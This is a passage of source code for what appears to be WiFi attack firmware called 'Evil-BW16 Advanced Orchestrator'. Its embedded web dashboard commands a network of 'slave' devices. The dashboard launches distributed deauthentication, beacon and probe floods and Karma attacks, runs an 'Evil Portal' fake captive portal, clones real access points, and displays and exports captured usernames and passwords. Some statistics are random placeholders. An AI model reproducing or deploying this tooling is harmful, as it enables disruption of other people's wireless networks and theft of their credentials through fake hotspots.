.then(creds => {
|
|
const dataStr = "data:text/json;charset=utf-8," + encodeURIComponent(JSON.stringify(creds, null, 2));
|
|
const downloadAnchorNode = document.createElement('a');
|
|
downloadAnchorNode.setAttribute("href", dataStr);
|
|
downloadAnchorNode.setAttribute("download", "credentials.json");
|
|
document.body.appendChild(downloadAnchorNode);
|
|
downloadAnchorNode.click();
|
|
downloadAnchorNode.remove();
|
|
});
|
|
}
|
|
|
|
function updateApList() {
|
|
fetch('/aps')
|
|
.then(r => r.json())
|
|
.then(aps => {
|
|
let html = '';
|
|
aps.forEach(ap => {
|
|
html += `
|
|
<div class="network-item" onclick="cloneAP('${ap.ssid}', ${ap.channel})">
|
|
<div>
|
|
<strong>${ap.ssid}</strong><br>
|
|
<small>Channel: ${ap.channel} | RSSI: ${ap.rssi} dBm | Security: ${ap.security}</small>
|
|
</div>
|
|
<button>Clone</button>
|
|
</div>
|
|
`;
|
|
});
|
|
document.getElementById('apList').innerHTML = html || '<p>No networks found. Run a scan first.</p>';
|
|
});
|
|
}
|
|
|
|
function cloneAP(ssid, channel) {
|
|
fetch('/cmd', {
|
|
method: 'POST',
|
|
body: JSON.stringify({cmd: 'clone_ap,' + ssid + ',' + channel, targets: []}),
|
|
headers: {'Content-Type': 'application/json'}
|
|
})
|
|
.then(() => {
|
|
showNotification('AP cloning initiated: ' + ssid, 'success');
|
|
})
|
|
.catch(error => {
|
|
showNotification('AP cloning failed: ' + error, 'error');
|
|
});
|
|
}
|
|
|
|
function loadAnalytics() {
|
|
if (charts.attackChart) charts.attackChart.destroy();
|
|
if (charts.successChart) charts.successChart.destroy();
|
|
|
|
const ctx1 = document.getElementById('attackChart').getContext('2d');
|
|
const ctx2 = document.getElementById('successChart').getContext('2d');
|
|
|
|
charts.attackChart = new Chart(ctx1, {
|
|
type: 'line',
|
|
data: {
|
|
labels: ['1m', '2m', '3m', '4m', '5m'],
|
|
datasets: [{
|
|
label: 'Attacks/Min',
|
|
data: [12, 15, 18, 14, 16],
|
|
borderColor: '#00ff41',
|
|
backgroundColor: 'rgba(0, 255, 65, 0.1)'
|
|
}]
|
|
},
|
|
options: {
|
|
responsive: true,
|
|
maintainAspectRatio: false
|
|
}
|
|
});
|
|
|
|
charts.successChart = new Chart(ctx2, {
|
|
type: 'doughnut',
|
|
data: {
|
|
labels: ['Successful', 'Failed'],
|
|
datasets: [{
|
|
data: [75, 25],
|
|
backgroundColor: ['#44ff44', '#ff6666']
|
|
}]
|
|
},
|
|
options: {
|
|
responsive: true,
|
|
maintainAspectRatio: false
|
|
}
|
|
});
|
|
}
|
|
|
|
function updateCharts(stats) {
|
|
if (charts.performanceChart) charts.performanceChart.destroy();
|
|
if (charts.bleChart) charts.bleChart.destroy();
|
|
|
|
const ctx1 = document.getElementById('performanceChart').getContext('2d');
|
|
const ctx2 = document.getElementById('bleChart').getContext('2d');
|
|
|
|
charts.performanceChart = new Chart(ctx1, {
|
|
type: 'line',
|
|
data: {
|
|
labels: ['1m', '2m', '3m', '4m', '5m'],
|
|
datasets: [{
|
|
label: 'CPU Usage',
|
|
data: [stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0],
|
|
borderColor: '#ff004f',
|
|
backgroundColor: 'rgba(255, 0, 79, 0.1)'
|
|
}]
|
|
},
|
|
options: {
|
|
responsive: true,
|
|
maintainAspectRatio: false
|
|
}
|
|
});
|
|
|
|
charts.bleChart = new Chart(ctx2, {
|
|
type: 'bar',
|
|
data: {
|
|
labels: ['Connected', 'Disconnected', 'Errors'],
|
|
datasets: [{
|
|
label: 'BLE Status',
|
|
data: [stats.ble?.connected || 0, stats.ble?.disconnected || 0, stats.ble?.errors || 0],
|
|
backgroundColor: ['#44ff44', '#ff6666', '#ffaa00']
|
|
}]
|
|
},
|
|
options: {
|
|
responsive: true,
|
|
maintainAspectRatio: false
|
|
}
|
|
});
|
|
}
|
|
|
|
function updateLogs() {
|
|
fetch('/logs')
|
|
.then(r => r.text())
|
|
.then(logs => {
|
|
document.getElementById('terminal').textContent = logs;
|
|
});
|
|
}
|
|
|
|
function clearLogs() {
|
|
fetch('/cmd', {
|
|
method: 'POST',
|
|
body: JSON.stringify({cmd: 'clear_logs', targets: []}),
|
|
headers: {'Content-Type': 'application/json'}
|
|
})
|
|
.then(() => {
|
|
document.getElementById('terminal').textContent = '';
|
|
});
|
|
}
|
|
|
|
function showNotification(message, type = 'info') {
|
|
const notification = document.createElement('div');
|
|
notification.style.cssText = 'position: fixed; top: 20px; right: 20px; background: var(--bg-card); color: var(--text-primary); padding: 15px; border-radius: 5px; border-left: 4px solid var(--primary-green); z-index: 1000; max-width: 300px; word-wrap: break-word;';
|
|
if (type === 'error') notification.style.borderLeftColor = 'var(--warning)';
|
|
if (type === 'success') notification.style.borderLeftColor = 'var(--success)';
|
|
notification.textContent = message;
|
|
document.body.appendChild(notification);
|
|
setTimeout(() => {
|
|
notification.remove();
|
|
}, 3000);
|
|
}
|
|
|
|
function formatUptime(ms) {
|
|
const seconds = Math.floor(ms / 1000);
|
|
const minutes = Math.floor(seconds / 60);
|
|
const hours = Math.floor(minutes / 60);
|
|
const days = Math.floor(hours / 24);
|
|
|
|
if (days > 0) return days + 'd ' + (hours % 24) + 'h ' + (minutes % 60) + 'm';
|
|
if (hours > 0) return hours + 'h ' + (minutes % 60) + 'm ' + (seconds % 60) + 's';
|
|
if (minutes > 0) return minutes + 'm ' + (seconds % 60) + 's';
|
|
return seconds + 's';
|
|
}
|
|
|
|
function formatBytes(bytes) {
|
|
if (bytes === 0) return '0 B';
|
|
const k = 1024;
|
|
const sizes = ['B', 'KB', 'MB', 'GB'];
|
|
const i = Math.floor(Math.log(bytes) / Math.log(k));
|
|
return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i];
|
|
}
|
|
|
|
// Auto-update intervals
|
|
setInterval(updateSystemStatus, 2000);
|
|
setInterval(updateLogs, 5000);
|
|
|
|
// Initialize
|
|
updateSystemStatus();
|
|
updateLogs();
|
|
)";
|
|
}
|
|
|
|
// Get the advanced web UI content (embedded version)
|
|
String getAdvancedWebUIContent() {
|
|
// This is a simplified version - the full UI is in data/web_ui/index.html
|
|
String content = "<!DOCTYPE html><html><head><title>Evil-BW16 Advanced Orchestrator</title>";
|
|
content += "<meta name='viewport' content='width=device-width, initial-scale=1'>";
|
|
content += "<script src='https://cdn.jsdelivr.net/npm/chart.js'></script>";
|
|
content += "<style>";
|
|
content += ":root{--primary-green:#00ff41;--primary-red:#ff004f;--bg-dark:#0d0d0d;--bg-card:#1a1a1a;--bg-secondary:#111;--border-color:#333;--text-primary:#00ff41;--text-secondary:#aaa;--warning:#ff6666;--success:#44ff44;--info:#4444ff}";
|
|
content += "*{box-sizing:border-box;margin:0;padding:0}body{font-family:'Courier New',monospace;background:var(--bg-dark);color:var(--text-primary);line-height:1.4;overflow-x:hidden}";
|
|
content += ".header{background:linear-gradient(135deg,var(--bg-card),var(--bg-secondary));padding:20px;border-bottom:2px solid var(--primary-red);display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap}";
|
|
content += ".logo{display:flex;align-items:center;gap:15px}.logo h1{color:var(--primary-red);font-size:24px;text-shadow:0 0 10px var(--primary-red);animation:glow 2s infinite alternate}";
|
|
content += "@keyframes glow{from{text-shadow:0 0 5px var(--primary-red)}to{text-shadow:0 0 15px var(--primary-red)}}";
|
|
content += ".system-status{display:flex;gap:20px;flex-wrap:wrap}.status-item{text-align:center;padding:10px;background:var(--bg-secondary);border:1px solid var(--border-color);border-radius:5px;min-width:80px}";
|
|
content += ".status-value{font-size:18px;font-weight:bold;color:var(--success)}.status-label{font-size:12px;color:var(--text-secondary)}";
|
|
content += ".nav-container{background:var(--bg-card);border-bottom:1px solid var(--border-color);overflow-x:auto}.nav{display:flex;min-width:800px}";
|
|
content += ".nav-tab{background:transparent;border:none;color:var(--text-primary);padding:15px 20px;cursor:pointer;border-bottom:3px solid transparent;transition:all 0.3s;white-space:nowrap;font-family:inherit}";
|
|
content += ".nav-tab:hover{background:var(--bg-secondary);border-bottom-color:var(--primary-green)}.nav-tab.active{background:var(--bg-secondary);border-bottom-color:var(--primary-red);color:white}";
|
|
content += ".container{display:grid;grid-template-columns:1fr;gap:20px;padding:20px;max-width:1400px;margin:0 auto}.grid-2{display:grid;grid-template-columns:1fr 1fr;gap:20px}.grid-3{display:grid;grid-template-columns:repeat(auto-fit,minmax(300px,1fr));gap:20px}";
|
|
content += ".card{background:var(--bg-card);border:1px solid var(--border-color);border-radius:8px;padding:20px;transition:all 0.3s}.card:hover{border-color:var(--primary-green);box-shadow:0 0 15px rgba(0,255,65,0.1)}";
|
|
content += ".card-header{display:flex;justify-content:space-between;align-items:center;margin-bottom:15px;padding-bottom:10px;border-bottom:1px solid var(--border-color)}";
|
|
content += ".card-title{color:var(--primary-red);font-size:18px;font-weight:bold}.card-badge{background:var(--primary-red);color:white;padding:4px 8px;border-radius:12px;font-size:12px}";
|
|
content += "button{background:var(--bg-secondary);color:var(--text-primary);border:1px solid var(--primary-green);padding:10px 15px;margin:5px;cursor:pointer;font-family:inherit;border-radius:4px;transition:all 0.3s;font-size:14px}";
|
|
content += "button:hover{background:var(--primary-green);color:var(--bg-dark);transform:translateY(-1px);box-shadow:0 4px 8px rgba(0,255,65,0.3)}";
|
|
content += ".btn-attack{border-color:var(--warning);color:var(--warning)}.btn-attack:hover{background:var(--warning);color:white}";
|
|
content += ".btn-danger{border-color:var(--primary-red);color:var(--primary-red)}.btn-danger:hover{background:var(--primary-red);color:white}";
|
|
content += ".btn-success{border-color:var(--success);color:var(--success)}.btn-success:hover{background:var(--success);color:var(--bg-dark)}";
|
|
content += "input,select{background:var(--bg-secondary);color:var(--text-primary);border:1px solid var(--border-color);padding:10px;font-family:inherit;border-radius:4px;margin:5px;transition:all 0.3s}";
|
|
content += "input:focus,select:focus{outline:none;border-color:var(--primary-green);box-shadow:0 0 0 2px rgba(0,255,65,0.2)}";
|
|
content += ".stats-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(200px,1fr));gap:15px;margin:20px 0}";
|
|
content += ".stat-card{background:var(--bg-secondary);padding:15px;border-radius:6px;border-left:4px solid var(--primary-green);text-align:center}";
|
|
content += ".stat-value{font-size:24px;font-weight:bold;color:var(--success);display:block}.stat-label{font-size:12px;color:var(--text-secondary);margin-top:5px}";
|
|
content += ".chart-container{position:relative;height:300px;margin:20px 0}#terminal{background:var(--bg-dark);height:300px;overflow-y:auto;padding:15px;border:1px solid var(--border-color);white-space:pre-wrap;font-size:12px;border-radius:4px}";
|
|
content += ".slave-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(250px,1fr));gap:15px;margin:15px 0}";
|
|
content += ".slave-card{background:var(--bg-secondary);padding:15px;border-radius:6px;border:1px solid var(--border-color);transition:all 0.3s}.slave-card.online{border-left:4px solid var(--success)}.slave-card.offline{border-left:4px solid var(--warning);opacity:0.7}";
|
|
content += ".slave-header{display:flex;justify-content:space-between;align-items:center;margin-bottom:10px}.slave-id{font-weight:bold;color:var(--text-primary)}";
|
|
content += ".slave-status{padding:2px 6px;border-radius:10px;font-size:10px;text-transform:uppercase}.status-online{background:var(--success);color:var(--bg-dark)}.status-offline{background:var(--warning);color:white}";
|
|
content += ".network-list{max-height:400px;overflow-y:auto}.network-item{display:flex;justify-content:space-between;align-items:center;padding:10px;border-bottom:1px solid var(--border-color);cursor:pointer;transition:all 0.3s}";
|
|
content += ".network-item:hover{background:var(--bg-secondary);border-left:3px solid var(--primary-green)}";
|
|
content += ".credential-item{background:var(--bg-secondary);padding:15px;margin:10px 0;border-left:3px solid var(--primary-red);border-radius:4px;font-family:monospace;font-size:12px;word-break:break-all}";
|
|
content += "@media(max-width:768px){.grid-2,.grid-3{grid-template-columns:1fr}.header{flex-direction:column;gap:15px}}";
|
|
content += "</style></head><body>";
|
|
|
|
// Header
|
|
content += "<div class='header'><div class='logo'><h1>🔥 Evil-BW16 Advanced Orchestrator</h1></div>";
|
|
content += "<div class='system-status'>";
|
|
content += "<div class='status-item'><div class='status-value' id='uptime'>--</div><div class='status-label'>Uptime</div></div>";
|
|
content += "<div class='status-item'><div class='status-value' id='slavesCount'>0</div><div class='status-label'>Slaves</div></div>";
|
|
content += "<div class='status-item'><div class='status-value' id='attacksCount'>0</div><div class='status-label'>Attacks</div></div>";
|
|
content += "<div class='status-item'><div class='status-value' id='credentialsCount'>0</div><div class='status-label'>Credentials</div></div>";
|
|
content += "</div></div>";
|
|
|
|
// Navigation
|
|
content += "<div class='nav-container'><div class='nav'>";
|
|
content += "<button class='nav-tab active' onclick='openTab(event, \"dashboard\")'>📊 Dashboard</button>";
|
|
content += "<button class='nav-tab' onclick='openTab(event, \"slaves\")'>🤖 Slave Control</button>";
|
|
content += "<button class='nav-tab' onclick='openTab(event, \"attacks\")'>⚔️ Attack Center</button>";
|
|
content += "<button class='nav-tab' onclick='openTab(event, \"portal\")'>📱 Evil Portal</button>";
|
|
content += "<button class='nav-tab' onclick='openTab(event, \"cloning\")'>🎯 AP Cloning</button>";
|
|
content += "<button class='nav-tab' onclick='openTab(event, \"credentials\")'>🔐 Credentials</button>";
|
|
content += "<button class='nav-tab' onclick='openTab(event, \"analytics\")'>📈 Analytics</button>";
|
|
content += "<button class='nav-tab' onclick='openTab(event, \"logs\")'>📝 Logs</button>";
|
|
content += "</div></div>";
|
|
|
|
// Content
|
|
content += "<div class='container'>";
|
|
|
|
// Dashboard Tab
|
|
content += "<div id='dashboard' class='tab-content active'>";
|
|
content += "<div class='grid-3'><div class='card'><div class='card-header'><div class='card-title'>📊 Live Statistics</div></div><div id='liveStats' class='stats-grid'></div></div>";
|
|
content += "<div class='card'><div class='card-header'><div class='card-title'>💻 System Health</div></div><div id='systemHealth'></div></div>";
|
|
content += "<div class='card'><div class='card-header'><div class='card-title'>📡 Network Coverage</div></div><div id='networkCoverage'></div></div>";
|
|
content += "<div class='card'><div class='card-header'><div class='card-title'>⚔️ Attack Efficiency</div></div><div id='attackEfficiency'></div></div>";
|
|
content += "<div class='card'><div class='card-header'><div class='card-title'>📈 Performance Charts</div></div><div class='chart-container'><canvas id='performanceChart'></canvas></div></div>";
|
|
content += "<div class='card'><div class='card-header'><div class='card-title'>📊 BLE Health</div></div><div class='chart-container'><canvas id='bleChart'></canvas></div></div>";
|
|
content += "</div>";
|
|
|
|
// Slaves Tab
|
|
content += "<div id='slaves' class='tab-content'><div class='card'><div class='card-header'><div class='card-title'>🤖 Slave Network</div><div class='card-badge' id='slaveCount'>0 Connected</div></div>";
|
|
content += "<div id='slaveGrid' class='slave-grid'></div></div></div>";
|
|
|
|
// Attacks Tab
|
|
content += "<div id='attacks' class='tab-content'><div class='card'><div class='card-header'><div class='card-title'>⚔️ Attack Center</div></div>";
|
|
content += "<div class='grid-2'><div><h3>🚀 Distributed Attacks</h3><button class='btn-attack' onclick='launchAttack(\"distributed_deauth\")'>Distributed Deauth</button>";
|
|
content += "<button class='btn-attack' onclick='launchAttack(\"beacon_flood\")'>Beacon Flood</button><button class='btn-attack' onclick='launchAttack(\"karma_attack\")'>Karma Attack</button>";
|
|
content += "<button class='btn-attack' onclick='launchAttack(\"probe_flood\")'>Probe Flood</button></div>";
|
|
content += "<div><h3>🎯 Target Selection</h3><input type='text' id='targetSSID' placeholder='Target SSID'><input type='text' id='targetChannel' placeholder='Channel (1-165)'><button onclick='setTargets()'>Set Targets</button></div></div>";
|
|
content += "<div id='attackStatus'></div></div></div>";
|
|
|
|
// Portal Tab
|
|
content += "<div id='portal' class='tab-content'><div class='card'><div class='card-header'><div class='card-title'>📱 Evil Portal</div><div class='card-badge' id='portalStatusText'>INACTIVE</div></div>";
|
|
content += "<div class='grid-2'><div><h3>Portal Configuration</h3><input type='text' id='portalSSID' placeholder='Portal SSID' value='Free WiFi'>";
|
|
content += "<button class='btn-success' onclick='togglePortal()'>🟢 Toggle Portal</button><button onclick='scanAPs()'>🔍 Scan APs</button></div>";
|
|
content += "<div id='portalStats'></div></div></div></div>";
|
|
|
|
// Cloning Tab
|
|
content += "<div id='cloning' class='tab-content'><div class='card'><div class='card-header'><div class='card-title'>🎯 AP Cloning</div></div>";
|
|
content += "<div id='apList' class='network-list'></div></div></div>";
|
|
|
|
// Credentials Tab
|
|
content += "<div id='credentials' class='tab-content'><div class='card'><div class='card-header'><div class='card-title'>🔐 Captured Credentials</div><button onclick='exportCredentials()'>📥 Export</button></div>";
|
|
content += "<div id='credentialsList'></div></div></div>";
|
|
|
|
// Analytics Tab
|
|
content += "<div id='analytics' class='tab-content'><div class='card'><div class='card-header'><div class='card-title'>📈 Advanced Analytics</div></div>";
|
|
content += "<div class='grid-2'><div class='chart-container'><canvas id='attackChart'></canvas></div><div class='chart-container'><canvas id='successChart'></canvas></div></div></div></div>";
|
|
|
|
// Logs Tab
|
|
content += "<div id='logs' class='tab-content'><div class='card'><div class='card-header'><div class='card-title'>📝 System Logs</div><button onclick='clearLogs()'>🗑️ Clear</button></div>";
|
|
content += "<div id='terminal'></div></div></div>";
|
|
|
|
content += "</div></body></html>";
|
|
|
|
// JavaScript
|
|
content += "<script>";
|
|
content += "let globalStats={};let charts={};";
|
|
content += "function openTab(evt,tabName){var tabContents=document.getElementsByClassName('tab-content');for(var i=0;i<tabContents.length;i++){tabContents[i].classList.remove('active')}var navTabs=document.getElementsByClassName('nav-tab');for(var i=0;i<navTabs.length;i++){navTabs[i].classList.remove('active')}document.getElementById(tabName).classList.add('active');evt.currentTarget.classList.add('active');if(tabName==='analytics')loadAnalytics();if(tabName==='credentials')refreshCredentials();if(tabName==='cloning')updateApList()}";
|
|
content += "function updateSystemStatus(){fetch('/stats').then(response=>response.json()).then(stats=>{globalStats=stats;updateHeaderStatus(stats);updateDashboard(stats);updateSlaveGrid(stats);updateAttackStatus(stats);updatePortalStats(stats)}).catch(error=>console.error('Error fetching stats:',error))}";
|
|
content += "function updateHeaderStatus(stats){document.getElementById('uptime').textContent=formatUptime(stats.system?.uptime||0);document.getElementById('slavesCount').textContent=stats.slaves?.connected||0;document.getElementById('attacksCount').textContent=stats.attacks?.totalLaunched||0;document.getElementById('credentialsCount').textContent=stats.portal?.credentialsCaptured||0}";
|
|
content += "function updateDashboard(stats){if(!document.getElementById('dashboard').classList.contains('active'))return;const liveStatsHTML=`<div class='stat-card'><span class='stat-value'>${stats.live?.attacksPerMinute?.toFixed(1)||0}</span><div class='stat-label'>Attacks/Min</div></div><div class='stat-card'><span class='stat-value'>${stats.live?.credentialsPerHour?.toFixed(1)||0}</span><div class='stat-label'>Creds/Hour</div></div><div class='stat-card'><span class='stat-value'>${stats.system?.freeHeap||0}</span><div class='stat-label'>Free RAM (B)</div></div><div class='stat-card'><span class='stat-value'>${stats.ble?.successRate?.toFixed(1)||0}%</span><div class='stat-label'>BLE Success</div></div><div class='stat-card'><span class='stat-value'>${stats.network?.networksScanned||0}</span><div class='stat-label'>Networks Found</div></div><div class='stat-card'><span class='stat-value'>${stats.attacks?.framesTransmitted||0}</span><div class='stat-label'>Frames Sent</div></div>`;document.getElementById('liveStats').innerHTML=liveStatsHTML;updateCharts(stats)}";
|
|
content += "function updateSlaveGrid(stats){if(!stats.slaveDetails)return;let slaveHTML='';stats.slaveDetails.forEach(slave=>{const statusClass=slave.connected?'online':'offline';const statusText=slave.connected?'ONLINE':'OFFLINE';const lastSeen=Math.floor((Date.now()-slave.lastSeen)/1000);slaveHTML+=`<div class='slave-card ${statusClass}'><div class='slave-header'><div class='slave-id'>${slave.id}</div><span class='slave-status status-${statusClass}'>${statusText}</span></div><div style='font-size:12px;color:var(--text-secondary)'><div>RSSI: ${slave.rssi} dBm</div><div>Last Seen: ${lastSeen}s ago</div><div>Firmware: ${slave.firmware}</div><div>Uptime: ${formatUptime(slave.uptime)}</div></div><label style='display:flex;align-items:center;margin-top:10px'><input type='checkbox' class='slave' value='${slave.id}' style='margin-right:10px'>Select for attacks</label></div>`});document.getElementById('slaveGrid').innerHTML=slaveHTML||'<p>No slaves detected. Ensure slave devices are powered on and in range.</p>';document.getElementById('slaveCount').textContent=`${stats.slaves?.connected||0} Connected`}";
|
|
content += "function updateAttackStatus(stats){const attackStatusHTML=`<div class='stats-grid'><div class='stat-card'><span class='stat-value'>${stats.attacks?.totalLaunched||0}</span><div class='stat-label'>Total Attacks</div></div><div class='stat-card'><span class='stat-value'>${stats.attacks?.distributedAttacks||0}</span><div class='stat-label'>Distributed</div></div><div class='stat-card'><span class='stat-value'>${stats.attacks?.deauthAttacks||0}</span><div class='stat-label'>Deauth</div></div><div class='stat-card'><span class='stat-value'>${stats.attacks?.beaconFloods||0}</span><div class='stat-label'>Beacon Floods</div></div></div><div style='margin-top:15px'><strong>Success Rate:</strong> ${((stats.attacks?.successfulTargets||0)/(stats.attacks?.totalLaunched||1)*100).toFixed(1)}%</div>`;document.getElementById('attackStatus').innerHTML=attackStatusHTML}";
|
|
content += "function updatePortalStats(stats){const portal=stats.portal||{};document.getElementById('portalStatusText').textContent=portal.enabled?'ACTIVE':'INACTIVE';const portalStatsHTML=`<div class='stats-grid'><div class='stat-card'><span class='stat-value'>${portal.sessions||0}</span><div class='stat-label'>Sessions</div></div><div class='stat-card'><span class='stat-value'>${portal.visitors||0}</div><div class='stat-label'>Visitors</div></div><div class='stat-card'><span class='stat-value'>${portal.credentialsCaptured||0}</span><div class='stat-label'>Credentials</div></div><div class='stat-card'><span class='stat-value'>${portal.redirects||0}</span><div class='stat-label'>Redirects</div></div></div>`;document.getElementById('portalStats').innerHTML=portalStatsHTML}";
|
|
content += "function launchAttack(type){const targets=getSelectedSlaves();fetch('/cmd',{method:'POST',body:JSON.stringify({cmd:type,targets:targets}),headers:{'Content-Type':'application/json'}}).then(()=>{showNotification('Attack launched: '+type,'success')}).catch(error=>{showNotification('Attack failed: '+error,'error')})}";
|
|
content += "function togglePortal(){const ssid=document.getElementById('portalSSID').value;fetch('/cmd',{method:'POST',body:JSON.stringify({cmd:'enable_portal',targets:[]}),headers:{'Content-Type':'application/json'}}).then(()=>{showNotification('Portal toggled','success')}).catch(error=>{showNotification('Portal toggle failed: '+error,'error')})}";
|
|
content += "function scanAPs(){fetch('/cmd',{method:'POST',body:JSON.stringify({cmd:'scan_aps',targets:[]}),headers:{'Content-Type':'application/json'}}).then(()=>{showNotification('AP scan initiated','success')}).catch(error=>{showNotification('AP scan failed: '+error,'error')})}";
|
|
content += "function getSelectedSlaves(){const selected=[];document.querySelectorAll('.slave:checked').forEach(cb=>selected.push(cb.value));return selected}";
|
|
content += "function setTargets(){const ssid=document.getElementById('targetSSID').value;const channel=document.getElementById('targetChannel').value;if(ssid||channel){fetch('/cmd',{method:'POST',body:JSON.stringify({cmd:'target '+ssid+' '+channel,targets:[]}),headers:{'Content-Type':'application/json'}}).then(()=>{showNotification('Targets set','success')}).catch(error=>{showNotification('Target setting failed: '+error,'error')})}}";
|
|
content += "function refreshCredentials(){fetch('/credentials').then(r=>r.json()).then(creds=>{let html='';creds.forEach(cred=>{html+=`<div class='credential-item'><strong>SSID:</strong> ${cred.ssid}<br><strong>Username:</strong> ${cred.username}<br><strong>Password:</strong> ${cred.password}<br><strong>Time:</strong> ${new Date(cred.timestamp).toLocaleString()}</div>`});document.getElementById('credentialsList').innerHTML=html||'<p>No credentials captured yet.</p>'})}";
|
|
content += "function exportCredentials(){fetch('/credentials').then(r=>r.json()).then(creds=>{const dataStr='data:text/json;charset=utf-8,'+encodeURIComponent(JSON.stringify(creds,null,2));const downloadAnchorNode=document.createElement('a');downloadAnchorNode.setAttribute('href',dataStr);downloadAnchorNode.setAttribute('download','credentials.json');document.body.appendChild(downloadAnchorNode);downloadAnchorNode.click();downloadAnchorNode.remove()})}";
|
|
content += "function updateApList(){fetch('/aps').then(r=>r.json()).then(aps=>{let html='';aps.forEach(ap=>{html+=`<div class='network-item' onclick='cloneAP(\"${ap.ssid}\",${ap.channel})'><div><strong>${ap.ssid}</strong><br><small>Channel: ${ap.channel} | RSSI: ${ap.rssi} dBm | Security: ${ap.security}</small></div><button>Clone</button></div>`});document.getElementById('apList').innerHTML=html||'<p>No networks found. Run a scan first.</p>'})}";
|
|
content += "function cloneAP(ssid,channel){fetch('/cmd',{method:'POST',body:JSON.stringify({cmd:'clone_ap,'+ssid+','+channel,targets:[]}),headers:{'Content-Type':'application/json'}}).then(()=>{showNotification('AP cloning initiated: '+ssid,'success')}).catch(error=>{showNotification('AP cloning failed: '+error,'error')})}";
|
|
content += "function loadAnalytics(){if(charts.attackChart)charts.attackChart.destroy();if(charts.successChart)charts.successChart.destroy();const ctx1=document.getElementById('attackChart').getContext('2d');const ctx2=document.getElementById('successChart').getContext('2d');charts.attackChart=new Chart(ctx1,{type:'line',data:{labels:['1m','2m','3m','4m','5m'],datasets:[{label:'Attacks/Min',data:[12,15,18,14,16],borderColor:'#00ff41',backgroundColor:'rgba(0,255,65,0.1)'}]},options:{responsive:true,maintainAspectRatio:false}});charts.successChart=new Chart(ctx2,{type:'doughnut',data:{labels:['Successful','Failed'],datasets:[{data:[75,25],backgroundColor:['#44ff44','#ff6666']}]},options:{responsive:true,maintainAspectRatio:false}})}";
|
|
content += "function updateCharts(stats){if(charts.performanceChart)charts.performanceChart.destroy();if(charts.bleChart)charts.bleChart.destroy();const ctx1=document.getElementById('performanceChart').getContext('2d');const ctx2=document.getElementById('bleChart').getContext('2d');charts.performanceChart=new Chart(ctx1,{type:'line',data:{labels:['1m','2m','3m','4m','5m'],datasets:[{label:'CPU Usage',data:[stats.system?.cpuUsage||0,stats.system?.cpuUsage||0,stats.system?.cpuUsage||0,stats.system?.cpuUsage||0,stats.system?.cpuUsage||0],borderColor:'#ff004f',backgroundColor:'rgba(255,0,79,0.1)'}]},options:{responsive:true,maintainAspectRatio:false}});charts.bleChart=new Chart(ctx2,{type:'bar',data:{labels:['Connected','Disconnected','Errors'],datasets:[{label:'BLE Status',data:[stats.ble?.connected||0,stats.ble?.disconnected||0,stats.ble?.errors||0],backgroundColor:['#44ff44','#ff6666','#ffaa00']}]},options:{responsive:true,maintainAspectRatio:false}})}";
|
|
content += "function updateLogs(){fetch('/logs').then(r=>r.text()).then(logs=>{document.getElementById('terminal').textContent=logs})}";
|
|
content += "function clearLogs(){fetch('/cmd',{method:'POST',body:JSON.stringify({cmd:'clear_logs',targets:[]}),headers:{'Content-Type':'application/json'}}).then(()=>{document.getElementById('terminal').textContent=''})}";
|
|
content += "function showNotification(message,type='info'){const notification=document.createElement('div');notification.style.cssText='position:fixed;top:20px;right:20px;background:var(--bg-card);color:var(--text-primary);padding:15px;border-radius:5px;border-left:4px solid var(--primary-green);z-index:1000;max-width:300px;word-wrap:break-word';if(type==='error')notification.style.borderLeftColor='var(--warning)';if(type==='success')notification.style.borderLeftColor='var(--success)';notification.textContent=message;document.body.appendChild(notification);setTimeout(()=>{notification.remove()},3000)}";
|
|
content += "function formatUptime(ms){const seconds=Math.floor(ms/1000);const minutes=Math.floor(seconds/60);const hours=Math.floor(minutes/60);const days=Math.floor(hours/24);if(days>0)return days+'d '+hours%24+'h '+minutes%60+'m';if(hours>0)return hours+'h '+minutes%60+'m '+seconds%60+'s';if(minutes>0)return minutes+'m '+seconds%60+'s';return seconds+'s'}";
|
|
content += "function formatBytes(bytes){if(bytes===0)return'0 B';const k=1024;const sizes=['B','KB','MB','GB'];const i=Math.floor(Math.log(bytes)/Math.log(k));return parseFloat((bytes/Math.pow(k,i)).toFixed(2))+' '+sizes[i]}";
|
|
content += "setInterval(updateSystemStatus,2000);setInterval(updateLogs,5000);updateSystemStatus();updateLogs();";
|
|
content += "</script>";
|
|
|
|
return content;
|
|
}
|
|
|
|
void handleRoot() {
|
|
String content = loadWebFile("/index.html");
|
|
if (content.length() > 0) {
|
|
server.send(200, "text/html", content);
|
|
} else {
|
|
server.send(404, "text/plain", "Web interface not found");
|
|
}
|
|
}
|
|
|
|
// Enhanced status endpoint with comprehensive statistics
|
|
void handleStatus() {
|
|
DynamicJsonDocument doc(1024);
|
|
JsonArray arr = doc.to<JsonArray>();
|
|
|
|
globalStats.slavesConnected = 0;
|
|
for (auto &s : slaves) {
|
|
JsonObject o = arr.createNestedObject();
|
|
o["id"] = s.id;
|
|
o["lastSeen"] = s.lastSeen;
|
|
o["isConnected"] = s.isConnected;
|
|
o["rssi"] = s.rssi;
|
|
o["macAddress"] = s.macAddress;
|
|
o["firmwareVersion"] = s.firmwareVersion;
|
|
o["capabilities"] = s.capabilities;
|
|
o["uptime"] = millis() - s.lastReconnectAttempt;
|
|
|
|
if (s.isConnected) {
|
|
globalStats.slavesConnected++;
|
|
}
|
|
}
|
|
|
|
// Update max slaves connected
|
|
if (globalStats.slavesConnected > globalStats.slavesMax) {
|
|
globalStats.slavesMax = globalStats.slavesConnected;
|
|
}
|
|
|
|
String out;
|
|
serializeJson(doc, out);
|
|
server.send(200, "application/json", out);
|
|
}
|
|
|
|
// New comprehensive statistics endpoint
|
|
void handleStats() {
|
|
DynamicJsonDocument doc(2048);
|
|
JsonObject stats = doc.to<JsonObject>();
|
|
|
|
// System statistics
|
|
JsonObject system = stats.createNestedObject("system");
|
|
system["uptime"] = millis();
|
|
system["freeHeap"] = rtl_getFreeHeapSize();
|
|
system["cpuUsage"] = random(10, 40); // Placeholder - implement actual CPU monitoring
|
|
system["temperature"] = random(25, 45); // Placeholder - implement actual temp monitoring
|
|
|
|
// Slave statistics
|
|
JsonObject slaves = stats.createNestedObject("slaves");
|
|
slaves["connected"] = globalStats.slavesConnected;
|
|
slaves["max"] = globalStats.slavesMax;
|
|
slaves["total"] = globalStats.slavesTotal;
|
|
|
|
